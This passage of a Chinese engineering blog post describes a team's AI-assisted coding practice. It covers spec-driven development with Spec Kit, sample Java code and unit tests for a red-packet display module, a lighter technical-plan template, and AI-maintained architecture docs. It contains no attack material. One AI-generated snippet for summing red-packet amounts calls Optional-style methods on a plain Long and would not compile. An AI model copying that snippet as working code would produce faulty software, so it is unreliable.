- 红包查询超时时间:500ms
- 如果超时,返回空列表,不影响页面其他模块
### NFR-2: 可扩展性
- 支持配置不同的红包池ID
- 支持配置不同的门槛限制
## 测试用例
### TC-1: 正常流程 - 有可用红包
**前置条件:**
- 用户ID:123456
- 配置的红包池ID:[1001, 1002]
- FpProvider返回2个可用红包:
- 红包1:金额5元,门槛15元
- 红包2:金额10元,门槛25元
**执行步骤:**
1. 调用 doBuild(context)
**预期结果:**
- 返回的VO不为null
- redPacketList包含2个红包
- totalAmount = "15.00"(5 + 10)
- 红包按门槛排序(红包1在前)
### TC-2: 边界条件 - 红包门槛超限
**前置条件:**
- FpProvider返回1个红包,门槛25元
- 配置的amountThreshold = 20元(2000分)
**预期结果:**
- 返回null(因为门槛超限,红包被过滤)
...
...

speckit.plan—制定实施计划

这一步会生成data-model.md、api.md等几个文件,最重要的是plan.md

speckit.tasks—任务分解

生成task.md

speckit.implement—实现代码

数据服务实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@Component
public class NnRedPacketDataService implements DataService<List<FundQueryDTO>> {
@Autowired
private FpProvider fpProvider;
@Override
public List<FundQueryDTO> execute(InvocationContext context, JSONObject businessReq) {
long userId = context.getUserId();
if (userId <= 0) {
return Collections.emptyList();
}
// 获取配置
String poolIdsStr = businessReq.getString("nnRedPacketPoolIds");
List<Long> fundPoolIds = parsePoolIds(poolIdsStr);
Long customRuleId = businessReq.getLong("customRuleId");
String securityCode = businessReq.getString("securityCode");
// 查询红包
List<FundQueryDTO> funds = fpProvider.queryUserFundBuyPoolId(
context, fundPoolIds, customRuleId, securityCode
);
if (CollectionUtils.isEmpty(funds)) {
return Collections.emptyList();
}
// 过滤可用红包(按规格FR-1的过滤条件)
Long amountThreshold = businessReq.getLong("amountThreshold", 2000L);
return funds.stream()
.filter(fund -> fund.getPayStatus() == 2) // 可使用状态
.filter(fund -> isNotExpired(fund)) // 未过期
.filter(fund -> fund.getAmountThreshold() <= amountThreshold) // 门槛限制
.collect(Collectors.toList());
}
private boolean isNotExpired(FundQueryDTO fund) {
long now = System.currentTimeMillis();
return fund.getStartTime() <= now && now <= fund.getEndTime();
}
// ... 其他方法
}

模块构建器实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

@Component
public class NnRedPacketModuleBuilder extends BaseModuleBuilder<NnRedPacketVO> {
@Override
public String getName() {
return "nnRedPacket";
}
@Override
protected NnRedPacketVO doBuild(InvocationContext context) {
// 获取红包数据(FR-1)
List<FundQueryDTO> funds = ContextUtils
.<List<FundQueryDTO>>getBizResult(
NnRedPacketDataService.class.getSimpleName(),
context,
500
)
.orElse(Collections.emptyList());
// 如果无可用红包,不展示模块(FR-3)
if (CollectionUtils.isEmpty(funds)) {
return null;
}
// 红包排序(FR-2)
List<FundQueryDTO> sortedFunds = sortFunds(funds, context);
// 构建VO(FR-3)
return NnRedPacketVO.builder()
.redPacketList(buildRedPacketList(sortedFunds))
.totalAmount(calculateTotalAmount(sortedFunds))
.expandText(getExpandText(context))
.build();
}
/**
* 红包排序:NN专属红包优先,其次按门槛从小到大
* 对应规格 FR-2
*/
private List<FundQueryDTO> sortFunds(List<FundQueryDTO> funds, InvocationContext context) {
JSONObject extraParams = getExtraParams(context);
String nnPoolIdsStr = extraParams.getString("nnRedPacketPoolIds");
Set<Long> nnPoolIds = parsePoolIds(nnPoolIdsStr).stream()
.collect(Collectors.toSet());
return funds.stream()
.sorted(Comparator
.comparing((FundQueryDTO fund) ->
nnPoolIds.contains(fund.getFromFundId()) ? 0 : 1)
.thenComparing(FundQueryDTO::getAmountThreshold))
.collect(Collectors.toList());
}
// ... 其他方法
}

完整的单元测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
@RunWith(MockitoJUnitRunner.class)
public class NnRedPacketModuleBuilderTest {
@Mock
private InvocationContext context;
@Mock
private NnRedPacketDataService dataService;
@InjectMocks
private NnRedPacketModuleBuilder builder;
/**
* 测试用例 TC-1: 正常流程 - 有可用红包
*/
@Test
public void testBuild_WithAvailableFunds_ShouldReturnVO() {
// 准备数据
List<FundQueryDTO> mockFunds = Arrays.asList(
createFund(1L, 500L, 1500L), // 5元,门槛15元
createFund(2L, 1000L, 2500L) // 10元,门槛25元
);
// Mock
when(dataService.execute(any(), any())).thenReturn(mockFunds);
mockContext(context, "nnRedPacketPoolIds", "1,2");
mockBizResult(context, NnRedPacketDataService.class.getSimpleName(), mockFunds);
// 执行
NnRedPacketVO result = builder.doBuild(context);
// 验证(按规格预期结果)
assertNotNull(result);
assertEquals(2, result.getRedPacketList().size());
assertEquals("15.00", result.getTotalAmount());
// 验证排序:门槛低的在前
assertEquals(1500L, result.getRedPacketList().get(0).getAmountThreshold());
}
/**
* 测试用例 TC-2: 边界条件 - 红包门槛超限
*/
@Test
public void testBuild_ThresholdExceeded_ShouldReturnNull() {
// 准备数据:门槛25元,超过配置的20元
List<FundQueryDTO> mockFunds = Arrays.asList(
createFund(1L, 500L, 2500L)
);
// Mock(配置amountThreshold=2000,即20元)
JSONObject businessReq = new JSONObject();
businessReq.put("amountThreshold", 2000L);
when(dataService.execute(any(), eq(businessReq))).thenReturn(Collections.emptyList());
mockBizResult(context, NnRedPacketDataService.class.getSimpleName(), Collections.emptyList());
// 执行
NnRedPacketVO result = builder.doBuild(context);
// 验证(按规格预期结果)
assertNull(result);
}
/**
* 测试用例 TC-3: 异常场景 - FpProvider返回null
*/
@Test
public void testBuild_ProviderReturnsNull_ShouldReturnNull() {
// Mock
when(dataService.execute(any(), any())).thenReturn(null);
mockBizResult(context, NnRedPacketDataService.class.getSimpleName(), null);
// 执行
NnRedPacketVO result = builder.doBuild(context);
// 验证(按规格预期结果)
assertNull(result);
}
/**
* 测试用例 TC-4: 异常场景 - 用户未登录
*/
@Test
public void testBuild_UserNotLogin_ShouldReturnNull() {
// Mock:userId = 0
when(context.getUserId()).thenReturn(0L);
when(dataService.execute(any(), any())).thenReturn(Collections.emptyList());
mockBizResult(context, NnRedPacketDataService.class.getSimpleName(), Collections.emptyList());
// 执行
NnRedPacketVO result = builder.doBuild(context);
// 验证(按规格预期结果)
assertNull(result);
}
// 辅助方法
private FundQueryDTO createFund(Long id, Long amount, Long threshold) {
FundQueryDTO fund = new FundQueryDTO();
fund.setFundId(id);
fund.setAvailableAmount(amount);
fund.setAmountThreshold(threshold);
fund.setPayStatus(2); // 可使用
fund.setStartTime(System.currentTimeMillis() - 3600000); // 1小时前开始
fund.setEndTime(System.currentTimeMillis() + 3600000); // 1小时后结束
return fund;
}
}

SDD带来的改进

一致性显著提升

代码层面:

  • 所有代码都严格遵循规格说明,消除了理解偏差
  • 不同开发者实现相同规格,代码风格完全一致
  • 代码变更时,必须先更新规格,保证文档与代码同步

业务层面:

  • 产品、开发、测试对需求的理解高度一致
  • 减少了需求理解偏差导致的返工

可测试性大幅提升

测试覆盖:

  • 自动生成的测试用例覆盖了所有正常和异常流程
  • 测试用例与规格说明一一对应,确保完整性
  • 边界条件和异常场景都有明确的测试用例

测试质量:

  • Mock方式规范统一,符合项目最佳实践
  • 断言准确全面,不会遗漏关键验证点
  • 测试代码可读性好,易于维护

可维护性显著改善

文档永不过期:

  • 规格说明就是最准确的文档
  • 任何变更都先更新规格,再同步代码
  • 新人通过阅读规格说明就能快速理解功能

变更影响分析:

  • 修改规格时,清晰知道影响哪些代码模块
  • 依赖关系在规格中明确定义
  • 重构时可以基于规格验证正确性

代码可读性:

  • 代码结构清晰,层次分明
  • 注释完整准确,与规格保持一致
  • 命名规范统一,易于理解

团队协作效率提升

  • 新人通过阅读规格说明快速上手
  • 跨团队协作时,规格成为统一语言
  • 历史需求回溯更容易,规格即完整记录

SDD的问题与挑战

虽然SDD带来了价值,但在实践中也遇到了一些明显的问题:

问题1:规格编写门槛高

现象: 编写高质量的规格说明需要较强的抽象能力和文档编写能力

  • 新手往往写不好规格,过于技术化或过于模糊
  • 规格模板虽然有,但如何填写仍需要经验
  • 不合格的规格对后面的代码实现影响

影响: 对于简单需求,写规格的时间甚至超过直接写代码

问题2:Spec Kit工具链不成熟

遇到的具体问题:

  1. 规格解析不准确
    • AI有时无法正确理解规格中的复杂逻辑
    • 需要用非常精确的语言描述,稍有歧义就可能理解错误
  2. 代码生成质量不稳定
    • 相同的规格,不同时间生成的代码质量差异大
    • 有时生成的代码过于冗长,有时又过于简化
  3. 增量更新困难
    • 规格修改后,很难做到只更新变化的部分
    • 往往需要重新生成整个文件,导致手工修改的部分丢失

问题3:与现有代码库集成困难

现象: 我们的代码库已经有大量历史代码,SDD更适合从零开始的新项目

  • 历史代码缺乏规格说明,无法纳入SDD体系
  • 新老代码风格混杂,维护成本反而增加
  • 团队一部分人用SDD,一部分人用传统方式,协作困难

问题4:学习成本高

数据:

  • 写出合格的第一份规格说明,平均需要3-5次迭代
  • 老员工接受度较低,认为”还不如直接写代码快”

SDD适用场景分析

经过3个月的实践,我们总结出SDD的适用场景:

适合使用SDD:

✅ 全新的项目或模块

✅ 核心业务逻辑,需要长期维护

✅ 复杂度高,需要详细设计的功能

✅ 多人协作的大型需求

✅ 对质量要求极高的场景

不适合使用SDD:

❌ 简单的工具函数或配置修改

❌ 快速验证的实验性功能

❌ 一次性的临时需求

❌ 对现有代码的小修改

当前最佳实践 -

Rules + Agentic Coding + AI文档汇总

融合各阶段优势

核心思路:

  1. 用Rules约束AI
  2. 用技术方案指导实现
  3. 用Agentic Coding快速迭代
  4. 用AI汇总文档保持同步

技术方案模板优化

我们优化了技术方案模板,更加轻量级:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# [需求名称]-技术方案
## 业务定义
[简要描述业务背景和目标,1-2句话]
## 业务领域对象
[如果需要新增/修改BO或DTO,在此说明]
## 模块领域对象
[需要新增/修改的VO对象]
| 对象含义 | 实现方案 | 属性及类型 |
|---------|---------|-----------|
| [对象名] | 新增/修改 | 1. 字段1:类型 - 说明<br>2. 字段2:类型 - 说明 |
## 数据服务层
[需要新增/修改的数据服务]
| 数据服务定义 | 实现方案 | execute逻辑 |
|------------|---------|-----------|
| [服务名] | 新增/复用 | 1. 步骤1<br>2. 步骤2 |
## 模块构建器
[需要新增/修改的模块构建器]
| 模块构建器定义 | 实现方案 | doBuild逻辑 |
|--------------|---------|-------------|
| [构建器名] | 新增/修改 | 1. 获取数据<br>2. 处理逻辑<br>3. 构建VO |

特点:

  1. 比SDD规格更轻量,编写时间从2小时降低到30分钟
  2. 比纯Agentic Coding更规范,有明确的结构约束
  3. 聚焦于”做什么”,而非”怎么做”(实现细节交给AI)

AI文档汇总机制

即:让AI自动维护”整体架构与业务逻辑文档”

文档汇总流程

1
完成需求开发 → 提交AI:"将本次代码逻辑汇总到汇总文档" → AI分析代码 → AI更新文档

Prompt示例:

1
2
3
4
5
6
7
8
9
我刚完成了NN红包模块的开发,请分析以下代码:
- NnRedPacketDataService.java
- NnRedPacketModuleBuilder.java
- NnRedPacketVO.java
然后将其业务逻辑汇总到"NN业务整体架构与逻辑文档.md"中,确保:
1. 描述模块的核心功能和业务价值
2. 说明数据流转过程
3. 列出关键的业务规则和判断逻辑
4. 保持与现有文档的风格一致

架构文档结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# NN业务整体架构与逻辑文档
## 一、业务概述
[业务背景、目标、核心价值]
## 二、整体架构
### 2.1 技术架构
[分层架构图、技术栈]
### 2.2 模块组成
[各个模块的功能和关系]
## 三、核心模块详解
### 3.1 NN Feeds模块
#### 3.1.1 功能说明
[模块的核心功能]
#### 3.1.2 数据流转
[数据从哪里来,经过哪些处理,最终输出什么]
#### 3.1.3 关键逻辑
[重要的业务规则、计算逻辑、判断条件]
#### 3.1.4 代码位置
[对应的类和方法]
### 3.2 NN红包模块
[类似结构]
### 3.3 NN吊钩层模块
[类似结构]
## 四、数据服务层
[各个数据服务的功能和依赖]
## 五、关键流程
[重要的业务流程时序图]
## 六、配置说明
[配置项说明]
## 七、扩展点
[未来可能的扩展方向]

AI汇总效果示例

AI生成的文档片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
### 3.2 NN红包模块
#### 3.2.1 功能说明
NN红包模块用于在NN频道页面展示用户可用的红包列表,帮助用户了解可以使用的优惠,提升转化率。
#### 3.2.2 数据流转
用户请求 → NnRedPacketDataService
→ 调用FpProvider查询用户红包
→ 过滤可用红包(状态=2,未过期,门槛<=20元)
→ 返回红包列表

NnRedPacketModuleBuilder
→ 获取红包数据
→ 红包排序(NN专属优先,门槛从小到大)
→ 构建NnRedPacketVO
→ 返回前端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#### 3.2.3 关键逻辑
**1. 红包过滤规则**
```java
// 只展示满足以下条件的红包:
// 1. 状态为可使用(payStatus = 2)
// 2. 未过期(当前时间在startTime和endTime之间)
// 3. 门槛 <= 配置的amountThreshold(默认20元)
if (fund.getPayStatus() != 2) return false;
if (fund.getStartTime() > now || now > fund.getEndTime()) return false;
if (fund.getAmountThreshold() > amountThreshold) return false;
**2. 红包排序规则**
```java
// 排序规则:
// 1. NN专属红包(配置的nnRedPacketPoolIds)优先
// 2. 其次按门槛从小到大排序
funds.stream()
.sorted(Comparator
.comparing(fund -> nnPoolIds.contains(fund.getFromFundId()) ? 0 : 1)
.thenComparing(FundQueryDTO::getAmountThreshold))
**3. 总金额计算**
```java
// 计算所有可用红包的金额总和
String totalAmount = funds.stream()
.map(FundQueryDTO::getAvailableAmount)
.reduce(0L, Long::sum)
.map(PriceUtils::getPriceFenToYuan)
.orElse("0.00");
#### 3.2.4 代码位置
- 数据服务:`NnRedPacketDataService`
- 位置:`dataservice/impl/nn/NnRedPacketDataService.java`
- 核心方法:`execute(InvocationContext, JSONObject)`
- 模块构建器:`NnRedPacketModuleBuilder`
- 位置:`module/nn/NnRedPacketModuleBuilder.java`
- 核心方法:`doBuild(InvocationContext)`、`sortFunds(List<FundQueryDTO>)`
- 模块VO:`NnRedPacketVO`
- 位置:`domain/module/nn/NnRedPacketVO.java`
#### 3.2.5 配置项
```json
{
"nnRedPacketPoolIds": "1001,1002,1003", // NN专属红包池ID
"amountThreshold": 2000, // 红包门槛上限(分)
"expandText": "展开查看更多" // 展开文案
}

思考总结

在淘特导购业务的AIcoding实践中,我们经历了从简单代码补全到Agentic Coding,再到基于规则和SDD的编程模式的演进过程。每个阶段都有其价值和局限性:

  1. 初期探索让我们认识到AI在编码辅助方面的潜力,但也暴露了缺乏规范指导的问题;
  2. Agentic Coding提升了功能实现的完整性,但可延续性和一致性仍有不足;
  3. 基于规则的模式有效解决了代码规范和架构一致性问题,成为当前的主要实践方式;
  4. SDD尝试虽然在理念上很有价值,但在实际应用中还需要进一步完善。

虽然在SDD编程方面遇到了一些挑战,但我们认为AI规范化编程是未来发展的方向。团队中的同学正在持续探索和优化:

  1. 完善工具链:改进Spec Kit等工具,提升自动化能力
  2. 优化流程整合:更好地将SDD模式与现有开发流程结合
  3. 降低学习成本:通过培训和实践案例帮助团队成员适应新模式
  4. 持续改进规则:根据实践经验不断完善规则定义

我们相信,通过持续的探索和实践,一定能找到更适合团队的AI辅助编程模式,进一步提升开发效率和代码质量。

❌